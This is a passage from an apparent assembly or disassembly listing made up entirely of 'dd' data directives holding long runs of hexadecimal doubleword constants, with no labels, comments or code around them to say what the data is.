0F581030h, 7DDC9A01h, 5455F9D6h dd 0C5E4E2ECh, 9CD0FC48h, 5381BBBCh, 4B2A3474h, 0CEC8C0F2h dd 845136CBh, 65428F4h, 25E80640h, 3076F328h, 0ECDF840Bh dd 98340A1h, 14483314h, 1928A390h, 44B8CC97h, 13CC12Eh dd 696052ABh, 0B89C4723h, 605ACBF8h, 860B8037h, 9D00AB28h dd 0AF29FAAAh, 0B4486E17h, 55CB0680h, 1B00283Fh, 0D1C2F9EFh dd 0EC5D9CD4h, 0D2780F5Eh, 0A0DBEA06h, 3E34C7EDh, 0FFE57BA3h dd 6C27FF0h, 20A8EB30h, 74576EAh, 0CCAC8D3Bh, 43FE473Eh dd 0B0BF964Eh, 174D4B3Dh, 928FCF00h, 88CDEFACh, 7316308Ah dd 0AF9AF8A9h, 7C6E2A00h, 34D676D0h, 0A8901FF1h, 0DDF3C0BFh dd 0A493BCAh, 0E3E810Eh, 3568228h, 0AB0848F9h, 8BB42D3Ch dd 57FDDC10h, 0E7BE0604h, 28978FAFh, 0E0471398h, 0CE00A2E8h dd 75FEB685h, 4D9B6320h, 102C38B7h, 706F3Ch, 2FB9A41Eh dd 3B53DBE6h, 78E0419Ch, 3865D003h, 0CB1852F8h, 9BD08F75h dd 0A5500040h, 637EE1D9h, 9574E837h, 79B42407h, 835B2DB8h dd 0B8E29B4h, 0B9C66130h, 6EFBC0A0h, 0CA262226h, 0E025B4B0h dd 7FCE000h, 0D2FD886Fh, 0FC057515h, 0CB106228h, 2714F603h dd 0F457C804h, 0A8070C90h, 2B8B55DDh, 0ABCC816Bh, 1907AC88h dd 5DCABC00h, 3E6128CBh, 0EA0F8488h, 98B34824h, 0FA2A12ECh dd 0F2888826h, 48B27E2Eh, 0CE72AA10h, 0F0D70728h, 70352274h dd 4812091h, 62F1088h, 58064A6Ch, 16F80438h, 1A00DC9Ch dd 3FD4AC5Bh, 0CCF309CEh, 0FC8E5136h, 0E212B9C8h, 0A4011B09h dd 0E4ACE188h, 78A4D72Ah, 0C31826D2h, 4294A678h, 98A8D9BDh dd 0FC9C15F5h, 45208720h, 914D13B1h, 0EA8487BBh, 0C90F1298h dd 8808E478h, 89B8DE5Ch, 7D7C20A5h, 264D47E2h, 623427FBh dd 82000F36h, 531893Fh, 0EACC7E78h, 4BA80369h, 98C183F3h dd 8B108176h, 41186258h, 0CE8F6028h, 3EC86F42h, 4D164464h dd 308921BAh, 5913EC30h, 1448B87Ch, 47DB0716h, 6037D2C0h dd 0B799115Ah, 0A21F7A00h, 38DACC55h, 0EE8F00BEh, 30197D50h dd 4C94F2F3h, 0D04BEC1Dh, 0B0BC8B61h, 0AD19DA0h, 0FCFBCA4Ch dd 0E8130090h, 4FD56C9Eh, 0F95A4205h, 0D6846256h, 8B5CA400h dd 11ACD5Bh, 4054BCAAh, 60E1F6CEh, 0A20CC591h, 0A98706D4h dd 0CBD509D6h, 0F8206DA9h, 0D2E545F4h, 6AFA0107h, 824BDE33h dd 0F26F4AD4h, 575A0730h, 0BCE48885h, 1F3F170Ah, 18C850h dd 0A2676E4Dh, 0ED97278h, 0AAAD429Ch, 0D5FB0A80h, 6904CE87h dd 0F5A906B5h, 131238F0h, 0B424E740h, 55061894h, 0A97B4BDAh dd 0A4F0F810h, 5BD8090Ch, 0AC603703h, 53B0D2FCh, 6D582E7Bh dd 0CB510469h, 0F890A201h, 0E2EA93B1h, 23540E80h, 0CA204B07h dd 3625FFCh, 0A414455Ah, 0CBD00520h, 44B0F9D2h, 0BB6600C8h dd 3DDF858h, 3A02E404h, 47B25DCBh, 6338C1E8h, 4080AC31h dd 6FF0FC69h, 2F14FBB0h, 3E8A6AEh, 9BA33FE8h, 0B199A087h dd 0B540936h, 600B0515h, 0FD102065h, 98BCC04h, 0C58084E9h dd 160201D8h, 82FADD4Eh, 37DFDC38h, 79CC8078h, 2E2EA999h dd 1808E8F8h, 9A63C8E9h, 5CC8879Dh, 0F0DA4432h, 0EBC30224h dd 0DBA49F85h, 242CFA41h, 0EC7E6E90h, 7D6C3Ah, 0D97EDDF6h dd 2ED5573Bh, 1DC240Bh, 0D6C1339Fh, 0BBEFE44Ah, 0C12D0E8h dd 88F87A63h, 2009412Fh, 52D7B820h, 0A19DF50Bh, 8AE06324h dd 49E29089h, 93E01C8Ah, 2B50049Dh, 1443128Bh, 850C03E4h dd 0E9DB28B5h, 746CE99Bh, 0CF163849h, 106C86F5h, 8094731h dd 0C82F38DCh, 0EC48D058h, 0D0B62CF0h, 6205B4A4h, 0F8D182FFh dd 0E0D30C70h, 78AFC313h, 41F002A8h, 0EAB035Ah, 0BE6A8CA4h dd 0FCE3A890h, 3887095h, 45784898h, 64D0439Ah, 3A00AC58h dd 67424E75h, 530B68h, 1DF6F2AFh, 1916C6FBh, 67D6277h dd 0C64AA2Ch, 209EA42h, 3C59E298h, 0E43F9E8Bh, 49750528h dd 0C2FEC2C3h, 0DE05DDB0h, 1DFA50E4h, 3B731177h, 622A2E04h dd 0CE8A0B4h, 0A6E2FC00h, 0F8C36B4Eh, 4D540063h, 82CC03C6h dd 37056E80h, 72CBCF57h, 6A8318B1h, 0FABE5258h, 0C9B6B08Fh dd 447A1261h, 0A0C80C5Ch, 4D86DB1h, 309B602Ah, 0CD80F0A4h dd 0A0165200h, 0D00B8210h, 4E41004Ch, 6F5DDC64h, 0F8A1B58Eh dd 2ED06499h, 9D02AC7Dh, 0A44E343Fh, 6FC0E0EBh, 0F64704B1h dd 5499ED83h, 54841688h, 0FC2CAC5Eh, 0F71B1900h, 89302Ch dd 0EE4B695Eh, 34E40E87h, 3E0D0D0h, 0CD33C946h, 0EAE6E081h dd 2A50C2A6h, 0B0A14B58h dd 0E8B5C62Bh, 0CCB0CEADh, 119B0402h, 0E2DA4D81h, 0DC6480h dd 0CE8F8459h, 0CFDEA84Fh, 10F63C00h, 58FD0F05h, 0ED40378h dd 1D088431h, 681BBE3h, 0D25C64C5h, 5076227h, 7CC0E440h dd 0BDB6Dh, 4B5F8F30h, 8BA262C9h, 0CB1854E2h, 11C0AC91h dd 88ED009Ah, 0E35FFAA7h, 9B18922Ch, 54109178h, 0ADCE0114h dd 0AA30CD0Ch, 92D0B853h, 0C412516Ah, 83D0380Bh, 1DD72E20h dd 3E4F8850h, 0BA0FD449h, 45F68906h, 886804C8h, 52243CD4h dd 0E117D080h, 4B2A1442h, 1AE44866h, 23090BFh, 29D71B77h dd 0BAC04C08h, 460BEE25h, 219A9163h, 7982AAE4h, 0FC30CB08h dd 710388E6h, 0AE78C029h, 0D5B6F924h, 8ACCA200h, 9F9BEE30h dd 324CF2E4h, 8431C02Ch, 0AB00F8F0h, 7328AE6Ch, 1264ADDAh dd 0D1A11FCBh, 305260C4h, 88E69EF5h, 26A4AA5Dh, 851334A0h dd 4F63A0D8h, 327CA03Dh, 64C90B01h, 1F5606E8h, 0E63FC24h dd 0B5C25D8Bh, 7F300EA1h, 0D450967Eh, 89FAAC82h, 0DB084898h dd 1D1A7FC9h, 96CA9E3h, 1C8371E6h, 0BAE8FB07h, 0A00082E2h dd 335E85CEh, 2A624DFDh, 2A4C7BFh, 9E29D6F1h, 0CCC1870Bh dd 5C30E005h, 0B5F20C01h, 62DF5604h, 0B430E4C1h, 4F0B0047h dd 0C8AA58A6h, 393BD061h, 6D909ACh, 14AC203Dh, 0C097DF01h dd 9602E460h, 9C0CCFB0h, 0F90D0312h, 74567EEBh, 0C7F027CCh dd 10E2BC90h, 0E4E1D098h, 0DD027FDFh, 0D383BE3Fh, 802C569Dh dd 4634A44Ch, 5401743Ch, 2C75B5BCh, 813AB007h, 646CB2E0h dd 0AC9ED504h, 0A48A0B50h, 893C96C4h, 0FC416E62h, 9E428E6h dd 187996CBh, 0B02CEBC0h, 8970BE44h, 80851964h, 3DF8CC75h dd 8FBC6B50h, 0F88E3498h, 0A0A0D5EEh, 18268452h, 0B08804BCh dd 0E6890219h, 80E8A0E9h, 507C6DF7h, 4C0134Bh, 483F6648h dd 533D9C40h, 70B09387h, 5A49C073h, 0B4A0F24Bh, 273B40FCh dd 74D001EEh, 0FE3A0345h, 0BDE068B1h, 9084050Dh, 607F4C40h dd 0DB7688h, 93AD9E67h, 0A5FB4EDFh, 1DA85207h, 4650AFF6h dd 4B0342EFh, 923817D2h, 9CC039E4h, 517CAB1Dh, 5640D48h dd 0FFF48412h, 0BE009CE2h, 0B753DFA3h, 6A007AFBh, 29FFE0AAh dd 74D0235h, 632208E3h, 0ECA0EC9Ch, 0AF2430FAh, 0D0027898h dd 0DC4C2BEBh, 0C0A7946Ch, 76515581h, 7C42E29Dh, 200FCDEh dd 10C3AE48h, 2EF17F71h, 426483CAh, 0C4DE3DCBh, 0EC24C724h dd 6CC76104h, 80A9C4D7h, 78E3E468h, 4AFB0B2Eh, 0D3802C22h dd 20AF211Ah, 5306F209h, 0C8C497h, 0EC783B9Eh, 227FDEFBh dd 3CC97412h, 0E1C8440Bh, 9462E5ACh, 8E766209h, 0C84820CEh dd 2509057Ch, 0A08440A4h, 0BD427C97h, 338085FEh, 0AB683BC0h dd 0E025000Bh, 30715A7Ah, 58BE1336h, 0B62E540h, 40494A16h dd 1E29FB24h, 0AB0518B0h, 71FC884Eh, 26060803h, 0D9A01792h dd 78D89978h, 0B9D73064h, 0C2F47EABh, 0E0926388h, 0E8396040h dd 75BD2F17h, 0B004F8ECh, 855ECA67h, 7D74B24Ch, 5200F0B6h dd 0F45B4AE3h, 31340922h, 98A0AB3Fh, 8D8E6B71h, 5FE68107h dd 978F2062h, 41C794DCh, 0D9A4246Dh, 8508046Fh, 2CE3F5F8h dd 0AA5F9871h, 0D3E08420h, 50D400D2h, 25510148h, 0F196B506h dd 0E1F7DCCEh, 0C8E5DF00h, 4A3E9D55h, 7DE706B0h, 48BC5A64h dd 0FB8B470Bh, 889B04E0h, 458C7081h, 2475E823h, 0C34449A2h dd 88DC9274h, 91E21538h, 0DD0F643Fh, 0DDF40588h, 3C80CB3Ah dd 1FEF14A7h, 0B1D1622Ch, 0C89D3020h, 90A8FB33h, 64010D79h dd 652F34B9h, 0B271CBDCh, 9A46041h, 0CC35D0h, 0B5B7F2C1h dd 4EEE93E4h, 0CC648626h, 0DE55030h, 57621602h, 99988CC4h dd 3FC9B4Dh, 950211F4h, 0CC101709h, 0AA384122h, 826C6288h dd 0FDE46709h, 0E034417Fh, 0D4D30838h, 71289860h, 79847B09h dd 9C0098F1h, 9010EEA5h, 4E800017h, 0F9FEFB0Bh, 7B0119F0h dd 3EC67278h, 3BEB0367h, 91838239h, 5D79C096h, 89FCF5E1h dd 0D936D618h, 242D08D8h, 0F30C002h, 59C84F9h, 0D0915D85h dd 3C3CA707h, 512CE001h, 3C0C4F3Ch, 824C8B08h, 601D77D8h dd 1F40445Ch, 8795A56Fh, 0E08E7F5Ah, 0C14CD670h, 31324BAh dd 0F00076FAh, 1915DDDEh, 80A40F4Dh, 18F8A306h, 8C0283BDh dd 287C6D9Dh, 44505E74h, 3388A9D7h, 0D0BF08E3h, 0B6CCE2DDh dd 8ABC01Ch, 52056684h, 0A58E7B37h, 33B249Ch, 684287C6h dd 43E00B66h, 495CDB28h, 30B04A18h, 1D0A44Dh, 3F69486Fh dd 50B48A06h, 44A03EACh, 0E486D401h, 62CFF508h, 924460DAh dd 7B4F0F8Ch, 0DA1C1D64h, 58421193h, 36DC1401h, 0E1B2D07Dh dd 5106A70Ch, 1D358C6h, 0F0C11FCEh, 0C8146B37h, 5E092B59h dd 225D202Ah, 2A1DA98h, 24412664h, 80E30870h, 7BFEFC3Ch dd 894F0C02h, 0E00E0B51h, 2BD47430h, 8794A346h, 0D01208B3h dd 0C878F784h, 6F5C3D1Dh, 0DE24080h, 3BF9D52h, 0A561C942h dd 0BC8BD8Ch, 3934C7FEh, 0F88011A4h, 7598E1DBh, 178E0079h dd 0D4727B8Dh, 1C24AC3Ah, 55132C37h, 0DD7A7442h, 4B28CE78h dd 88E00CAFh, 61284C0h, 4016686h, 49E3D5E5h, 3FF4213Bh dd 90F11467h, 8781B042h, 0EF8A88h, 0C7EEEBCAh, 8870913Ah dd 0B011FBAh, 0D0B6248Bh, 0D753AE4h, 77442A87h, 53BC0098h dd 0E100490Ch, 3C9F4A14h, 0A068B8A5h, 80B22CFCh, 0BB4ABDABh dd 0AC024816h, 0C6E35CCAh, 0CFDC0044h, 0D0BEF23Ch, 8100116Bh dd 0B7D4309Fh, 33035B40h, 4248E117h, 0B56069BAh, 60010918h dd 75D6AC78h, 91809030h, 3D6529ABh, 9F24CA39h, 0FA019C36h dd 5AE46260h, 8FECD880h, 877E38EDh, 0ADE54F05h, 54D46706h dd 97CFC8B0h, 29FD4090h, 0E8B84E24h, 64EB1084h, 2585ACB2h dd 31BC036Dh, 0E840F1FFh, 0D2002AC0h, 0C9751BA2h, 0BF9B535Fh dd 0A8C03C00h, 7100B9DEh, 0AA3A38DAh, 248A12h, 743B4C2Dh dd 7E628289h, 0D0315000h, 0CB88FCE3h, 0D8CC0FE1h, 9FEF5632h dd 305CCC3Dh, 0DB00A1E0h, 44D64635h, 7A01E313h, 73E20021h dd 9C695F88h, 0DA001A41h, 0D470F0A0h, 0C0C7D506h, 0EC5CCBC8h dd 8096DDF5h, 78172A09h, 34FB4A98h, 4A64E258h, 0CED9A0C0h dd 343534CBh, 45B8A080h, 0D7DD9C1Fh, 874B1CE8h, 0F8CC104Ch dd 0A2AB0070h, 0DDDAA9DCh, 8200BD25h, 0AC5463DFh, 0C070CBD8h dd 6490E351h, 58BAAE7Eh, 0A5D1ED04h, 0C88081D2h, 45D9798h dd 0FCE215ABh, 1E3CF9A1h, 1CC2DC1Eh, 74F885CBh, 77BC03A8h dd 7CAAFAF1h, 58D090E0h, 0D4FFCB18h, 4B898B20h, 9FC2106h dd 3E28611Dh, 204E6872h, 0B3A40E3Dh, 0AC27F8B0h, 0A8AC6810h dd 7D75B0ABh, 106CE703h, 1AE93C00h, 94CB5ED2h, 6170EC60h dd 9079DD8Eh, 24F0E554h, 0C99CBEF2h, 3EA27000h, 4F00EABEh dd 63A8439Ah, 28A485AEh, 0F47277h, 6DA03C1Ch, 472FFAB3h dd 7DA81260h, 35307663h, 1101707h, 0B9CA0E40h, 4F587073h dd 0ACBC087Ch, 3E0D4580h, 0FADAFFh, 0BCECAE26h, 7A2E0704h dd 1732C0C0h, 1FBD2AB8h, 0A81FCBDBh, 4DBF7A80h, 8CD48457h dd 5977D650h, 0A8458092h, 24009428h, 0B0F0EBA4h, 9A9F400Fh dd 29B018A4h, 0B1AE00C3h, 0F9F04EF2h, 11C0BF71h, 0CBC9D972h dd 44BE20h, 52584870h, 8201BB16h, 5002880Bh, 0CC2C7841h dd 0A1850313h, 0C3D34498h, 0D3B9321Ch, 12421B8h, 201BE68Fh dd 0ECBE3C5Ch, 2BAE7580h, 13EBCDA8h, 0E0C83021h, 3B4BCB84h dd 6784AC21h, 5476AC02h, 73CBD385h, 12A588D0h, 0B6602407h dd 9E088058h, 0D1412AE7h dd 668D20Fh, 0F27DA58Fh, 84551480h, 30C14BB0h, 0D270F850h dd 28EF0B1Fh, 0FCB01C12h, 0D498B576h, 2F18FC65h, 0D6105C61h dd 0DC0403D3h, 7BA2550h, 0FC0F67F8h, 4DAFA302h, 62917702h dd 1C98CC74h, 0C01CFC0Bh, 75AADB4Bh, 6800C86Fh, 0D8E2A8ABh dd 4EE356EBh, 4CF49002h, 91B5184Fh, 90A55828h, 0CC192CE7h dd 7EE607C8h, 0C402844Ch, 4600C88Ah, 22AFA096h, 0F0A8DE98h dd 90BD2510h, 77629C10h, 0C421944Bh, 5C245881h, 41680018h dd 78610E9Ch, 4E06713Ch, 9EB10414h, 6AB3B30h, 0AF40825Bh dd 4CF48EC0h, 8A68B019h, 213E401Ch, 3B9132F8h, 40443822h dd 0BEB1CBECh, 8182EBCh, 0E03A2978h, 3529048h, 38BE5D89h dd 7352F02h, 0AC748E16h, 2C90DDBFh, 660C54C8h, 0B2066E69h dd 3CC5B80h, 0C44C6310h, 8F20E9B4h, 0A09F0C2Ah, 50039DFDh dd 1115BC0Dh, 4B08822h, 4A82B170h, 0B73EC4CCh, 0CBCDD0C8h dd 6C6C6924h, 0CCC1BB00h, 24F1BD39h, 7441D2h, 0B5EEE491h dd 540123FFh, 0C5E6482h, 24CC7588h, 42622DE0h, 0CE3FF481h dd 825C78F4h, 8148DB66h, 50314F84h, 0D820073Fh, 0CA0E6925h dd 4AB7BC36h, 0AE288C04h, 76CEA300h, 0E2003E48h, 15865449h dd 4AADAA45h, 0D784CCE1h, 0D5016900h, 45845650h, 183FE4B8h dd 68702B31h, 680977FAh, 342AF08h, 0CFBA3960h, 0F7976380h dd 46802701h, 90D8C862h, 6A6006F8h, 0B9F83CC8h, 4B6D00FBh dd 0FEE48330h, 280079B5h, 646AC935h, 2D9A86D2h, 90C02563h dd 4CB8D0A1h, 0FD7B9096h, 0D0E40CC4h, 5483093Eh, 849064F2h dd 0BE010384h, 0CCE05B88h, 0F8681ECBh, 3D497300h, 4730744Dh dd 0C9F4E195h, 1DC3EC60h, 4366B8F7h, 0CF7FCB5Fh, 21B43051h dd 8C28A968h, 19B88027h, 146A9E7Ah, 0A48F6F2Ah, 0E562D2C2h dd 0B10020D0h, 0B8C44DC1h, 954E30C8h, 9935A880h, 3D056A8Eh dd 0FE2FF262h, 31E898B0h, 57696317h, 8D2DC4E7h, 91C5981Ah dd 80D010h, 0CC305B82h, 0CF0E7D5Fh, 0F89E2D31h, 0B2FAD2Ah dd 0FC19D82Ch, 3B2030E3h, 376DEE0Fh, 1944E655h, 0A2463930h dd 0DF81B51Dh, 3C41A52Ch, 0B89F604Ah, 34D748h, 0F94326E5h dd 2FC9A7CBh, 0C08BA3Ah, 0B18946F0h, 0E0F10D00h, 96B753DDh dd 5EC9E79h, 0A7CDC62h, 279CB284h, 7AAD2801h, 841E3B69h dd 0E268E4BDh, 0C0F0C084h, 9ECA302Ah, 571FCFC8h, 0AEDD7A0Fh dd 0E8628346h, 6870006Ch, 0F36B0226h, 0C600EECEh, 7B0BFDFBh dd 6486CF23h, 85D811C5h, 31548041h, 823E5A2Eh, 0B8C7CACCh dd 0A362C7A2h, 0B1177FDCh, 6470E98Eh, 30635820h, 6C1F0F76h dd 37CAB260h, 3C5E8090h, 54C72631h, 80E8034Dh, 0BB56B471h dd 0A47300D0h, 0B25E8ACCh, 0DC9682E9h, 2C649C1Fh, 1AC9808h dd 0C602DB99h, 80406CCEh, 2A886EFDh, 28F64914h, 0FDC0D84Fh dd 5C40294Ch, 2C8A1080h, 133E8300h, 2405860Ch, 245F138h dd 942FD771h, 287B00E1h, 6600C874h, 0CC528EE7h, 0D8177Dh dd 11A96732h, 4A0723A0h, 6E3BB00h, 65F652C4h, 5DF132Ah dd 5BD8E38Ch, 0A43E3881h, 0E3D65887h, 804097FAh, 3F660269h dd 0C80A754Bh, 4601B570h, 0E2453D61h, 98C46C39h, 0C1C4E8E4h dd 8A625E8Bh, 0AF40103Fh, 46E51512h, 12C86E6Ch, 8CC10C5Eh dd 0D000AD7Dh, 0D090F538h, 0FD0B890Bh, 85B48943h, 70F17218h dd 0D048D47Dh, 4AB0D732h, 0AB20F466h, 0B7CB58FDh, 20DC9878h dd 0AA133299h, 64A4AD8Eh, 2B6D647h, 0DE0F34D0h, 9E8D7F61h dd 0E3D68420h, 17E704C8h, 96697E28h, 67E08160h, 8038DC3Eh dd 21BDCF79h, 1C37BAFh, 0DFFF46A6h, 80011DCBh, 0F5508498h dd 0FDE6905h, 0FBCED770h, 4C4D1413h, 8D8272Dh, 25E35204h dd 0B8BC29FAh, 0CC7EED80h, 0C0BFDBAAh, 3FFE164h, 5120172h dd 3801854Fh, 890A25E5h, 22EA690h, 70F3032Ch, 0FC98A8EEh dd 4566F40h, 92EDF611h, 2C34ACABh, 842448CDh, 6A153480h dd 0F663B5B6h, 7D7A00DDh, 0B79E143Fh, 6C3DB491h, 28A8A6F7h dd 30424013h, 0DE51474Ch, 0C73E9028h, 12F159FAh, 0B478800Dh dd 4962D9C7h, 5917F4D8h, 0ACE614E5h, 0BD48D4Fh, 0EE0B168Ch dd 24E0A025h, 681E582Ah, 0AB092852h, 88C4B16Fh, 0F0CC89BDh dd 0E8916174h, 0FE6D22E7h, 0A8AC1074h, 0F429C07h, 62BF3310h dd 0E0FE51AEh, 0D15C6C02h, 94636188h, 3B288CF0h, 1F8BA14Fh dd 0C923524Eh, 0A800BF4Ah, 8C61F0E0h, 3F68EA06h, 0B788C50Ch dd 82A0608Ch, 0C7486558h, 26C2E637h, 0FA14E6CFh, 7964A0B8h dd 4DA33EB1h, 2E2A7050h, 800C8BCCh, 0B3EDCF29h, 0B81794DEh dd 0F405EBCDh, 0F0ADE2A8h, 0E2A10h, 3E6D4871h, 959FBE06h dd 2762D402h, 16538CA1h, 8186E458h, 0CA504804h, 58F52667h dd 40A8800Ch, 2898B9FBh, 6810AA0Bh, 0E85078B8h, 38652D6Fh dd 0C0A46064h, 0E3577D13h, 2C4230B6h, 62B0D04Fh, 109D91B3h dd 6B42FE4h, 27648A37h, 5D0918A3h, 0DBBF7984h, 0D79C405Ch dd 3A005131h, 243CFC4Bh, 1A2B99EAh, 38E63207h, 880210B2h dd 83009D74h, 38BD46Bh, 1CCBD558h, 0A87D7FC4h, 0FEA0AD00h dd 9C7FC84h, 0DC704Dh, 623EC8CAh, 0CB663B50h, 804FEC32h dd 4B1CF06Fh, 0E93C0970h, 2A147814h, 25D09CBAh, 0BC984ECDh dd 0B62A6728h, 0A33F186Ch, 0F99BB072h, 0A92062E5h, 0C846B494h dd 0D6723E68h, 189FB71Ah, 0A21C2CC0h, 0C2F88281h, 0AE1E126Ch dd 0CEB102EBh, 20C08D51h, 971E91F5h, 2F80A3E9h, 7ED57CFh dd 4DCA043Bh, 1C4A272Ah, 8806C443h, 0FC5001C3h, 0BBE41558h dd 5F6180B8h, 0B2967238h, 6288B87Dh, 0EBDE39CAh, 54DD7CE0h dd 6A30B00Eh, 7B00BFC3h, 62D776CAh, 20D95C5Ah, 301BEC03h dd 3827461Fh, 93C49D6h, 29E4E980h, 7CABBDD4h, 0EB373013h dd 3FE3FC40h, 64B6AE6h, 6762D482h, 5C0130BEh, 0CC7F30CDh dd 0E444D08Fh, 5457DC12h, 0AC075002h, 307872h, 8AD9303Dh dd 96D115B8h, 6D196463h, 0A680B1FCh, 27CDF088h, 3ED6E501h dd 497E1D0Ch, 0DCD6DD4Ch, 0EEE46204h, 2B819087h, 243A35DBh dd 6038C520h, 0C6DB8488h, 30C7C505h, 94F987C9h, 4514D9D3h dd 558E290h, 0D772737Bh, 0AB82F8F3h, 0D8481505h, 50D655BFh dd 12AE0C00h, 8881E9h, 0F80B6C5Ch, 724E44CBh, 67566418h dd 4F2EBA28h, 0E820C531h, 59063C20h, 78DF09E4h, 0BE4085FDh dd 0E1E8D445h, 0EC6C09FFh, 62320882h, 30247881h, 0D82EC3F8h dd 0CE8440D4h, 80F82AEBh, 0E819E4CBh, 702C70CCh, 0D8CCD894h dd 8D1A00C9h, 0CEF43572h, 0AD02A586h, 8A88E689h, 0BF8C939h dd 0CDEFA240h, 28EBF8BCh, 9DFCD3FDh, 9D5D6482h, 646E2879h dd 0D4A85546h, 8850DA2Bh, 2411257h, 6561CB6Fh, 0DCBE7080h dd 0C9B36AFFh, 0BC34105h, 5BC119EFh, 7C75F5DDh, 5124E8F2h dd 479B0025h, 29CE3E94h, 3D0011EEh, 50CC3C83h, 8A6A82h dd 0A40C2BEh, 0ED51E353h, 0DB316C90h, 0C70208EBh, 2A35860h dd 3AAFC10Bh, 0EC406474h, 650B9D83h, 0F8AECBB1h, 0F98B3858h dd 0ECBC2281h, 7071AD88h, 1BD0F08h, 9E2DCCA4h, 0F9DB2881h dd 210C9249h, 62DC248Ch, 0C8E9CB24h, 0C0064001h, 4B0264B7h dd 0A6750861h, 0D0A9E038h, 54C22A17h, 42991068h, 0D7EE8516h dd 542D8600h, 2E82E692h, 0B94FB4Eh, 0D442F0ACh, 7A0AEC41h dd 1CB59400h, 10C51ABh, 7CA7DF54h, 51E7A284h, 5603A4h dd 90F4D463h, 0D04124B0h, 81E617A4h, 81FFC8C0h, 891C7618h dd 0CBC86961h, 145A5C71h dd 7F78620Bh, 0C0C238DAh, 590FFD4Ch, 35803B0h, 702C0BC0h dd 410968B2h, 25188F0Eh, 0D8F87D68h, 0BC50A13h, 98D0A260h dd 0CF9A7062h, 0F87823h, 0C954CBFCh, 2224073Ah, 1BC6448h dd 6AF3AC34h, 7BD22Ah, 50C3409Ch, 5E0052E7h, 7629D74Ch dd 4CEAF70Ch, 0BF1084B4h, 1CD92C14h, 0D23A4AC0h, 9CD55FEDh dd 7122FBECh, 25092588h, 0DD059853h, 22807235h, 9829E3B4h dd 13BA78D3h, 409B2230h, 50266F3Ch, 4E09A889h, 40AE61FEh dd 0B5C54h, 0E0F808F2h, 9A3BCAC0h, 8081232Dh, 8867DEECh dd 0D5A40686h, 907C8906h, 8BDB6CA0h, 4C549124h, 43984B18h dd 63D50EEFh, 1C9FDDF1h, 3F0424F0h, 0E7D2A81h, 622936E4h dd 74F80458h, 1D24223Ch, 174A0493h, 60EC75h, 82C73FCh dd 5C77D0BBh, 0BD002845h, 62F07E69h, 449A6640h, 18DA1C3Ch dd 57D0C141h, 2A3F009Eh, 37816BA8h, 3A00AA87h, 0BD01E30Fh dd 0A77C911h, 49E24DF0h, 40DF1F08h, 0FB4C0223h, 0A8F26B76h dd 0F23F1302h, 5756CBD8h, 0FAA57000h, 11005C53h, 84A6EE2Fh dd 4835630Ah, 0CB394CFDh, 0CC84A077h, 0E8442530h, 8C15812h dd 77FB00F2h, 0EBC319C8h, 7AA31C6Dh, 0A06CF040h, 177D98BAh dd 0F0FE301Dh, 0B3052784h, 0AB9DB0F3h, 0D280F4ACh, 10DAA232h dd 9ACBC00Bh, 8D64A4CCh, 3C601889h, 43311A58h, 18553883h dd 419CB8h, 843A62A6h, 18317AA8h, 0E4CBF40Ah, 0DE80E427h dd 2A036CA3h, 6CA09F24h, 1121CFF2h, 14B7249Ah, 47E227B8h dd 0A05410A9h, 2283B889h, 0BBF5EACh, 80D028B1h, 4CD1A120h dd 1EDDEFEBh, 973C907h, 3CF0ED9Bh, 0A906410Bh, 0AAD8015Eh dd 207A42E1h, 0C462DCACh, 0CB05C4B4h, 0AC9064C0h, 0B5CFFEFh dd 2C62284Dh, 94B8C843h, 0E495796Eh, 0C0CA5EF8h, 4DD9BD0h dd 17681053h, 0D4310EE4h, 0E84C8756h, 0E49B5C38h, 0D9710201h dd 607A860Bh, 9641D20Ch, 9DD8056Fh, 0D8E88C3Fh, 1CA40612h dd 1A12F0B9h, 7948C0EFh, 46091725h, 5E975673h, 630B0964h dd 6FCBFC20h, 0E013DDC2h, 98B0D706h, 7DFA00DAh, 66B4D187h dd 0DF0BFF3Bh, 0A32B0359h, 0F2E7DEE0h, 2588D18Bh, 1F401451h dd 7C61D559h, 368B04A7h, 0C04B6B57h, 8667BE14h, 0A3034F0Bh dd 28F47194h, 0D2A414D2h, 912CC4CAh, 58CC05DCh, 4D84C075h dd 953EDC97h, 0CCB47FCBh, 0F8E0C827h, 0DB78C688h, 0AB20FCh dd 0A0D47BE7h, 0D2F8DF17h, 2362530Fh, 2F180FB6h, 0E9CD5801h dd 78F16A84h, 8EE8D082h, 34C0AE35h, 0CBA9B90h, 0FD40E094h dd 2C2A8827h, 92280751h, 0E4408025h, 0B1026906h, 474940AAh dd 1C644264h, 2009FDFCh, 3C0245ACh, 73CBE04Ch, 0C8935507h dd 22A5EDC1h, 58C49EBCh, 0CB8C873h, 7ED4C9D7h, 309D1C01h dd 0D08FA097h, 0D60FD4A8h, 7106DF21h, 80747CE2h, 217D4A16h dd 0BF404C58h, 7AAC2200h, 32D875D2h, 8586350h, 7DB3391Eh dd 0E244EA42h, 0F1088910h, 41CD4764h, 7BD4E788h, 16158028h dd 0A1E95325h, 0ACAB04D0h, 42CBC240h, 409B001Bh, 4B00BB7Dh dd 772CAC6Ch, 0B25B3D48h, 8CCB094Ch, 0CC7FB0h, 606EFB2Ch dd 6BB3D44h, 28AA161Ch, 51894301h, 83B1A0BAh, 42431A6h dd 0BD958DF3h, 0D8AD8AA8h, 609C2A05h, 0F93CFC91h, 2E56A420h dd 20681A84h, 3EA10568h, 0C06BB96Ah, 497EF7A6h, 0A044F89Eh dd 3DBDA4D0h, 0EB9705AAh, 0A8C53024h, 3E85810h, 1B8E1369h dd 67E4B8CFh, 0FB07012Ch, 0A5796475h, 6C13DC02h, 35036090h dd 6FB81ECFh, 0AF87B893h, 70E51EB9h, 3F177BF0h, 64C51E08h dd 0B35C881Ch, 3E58E42Fh, 0D80C7002h, 7B50796Fh, 0A97F9502h dd 8413DDE1h, 78831BD8h, 0FA30005Eh, 64C1715Dh, 7954E0C7h dd 5F4A8C84h, 429CF004h, 43C822AFh, 8A1704D4h, 0C227181Ch dd 40195570h, 41868D1h, 91D3E63Fh, 62F270BCh, 0AA0C787Eh dd 5A5890D8h, 85042760h, 0BBB8D48Eh, 0D09CA045h, 3FC6A4FCh dd 2A12F146h, 0F0C0EE20h, 0B584914Ch, 0B85EFC12h, 50B0429h dd 4BECF110h, 0CB63D890h, 2E83F2Dh, 0D33794h, 63E6CD1h dd 5BFD8025h, 0C9ECA414h, 943F4427h, 6278F0A4h, 2409784Bh dd 0BCC0FBAh, 98C7491h, 706D878Ah, 0EA1E11A4h, 0C7E7BB81h dd 71E01DADh, 31CD0053h, 0F60B3870h, 0B209DD99h, 807E1E52h dd 1BFAF061h, 8A8100C9h, 4D884FB0h, 0EF7CC4E0h, 39A10D00h dd 0B333B127h, 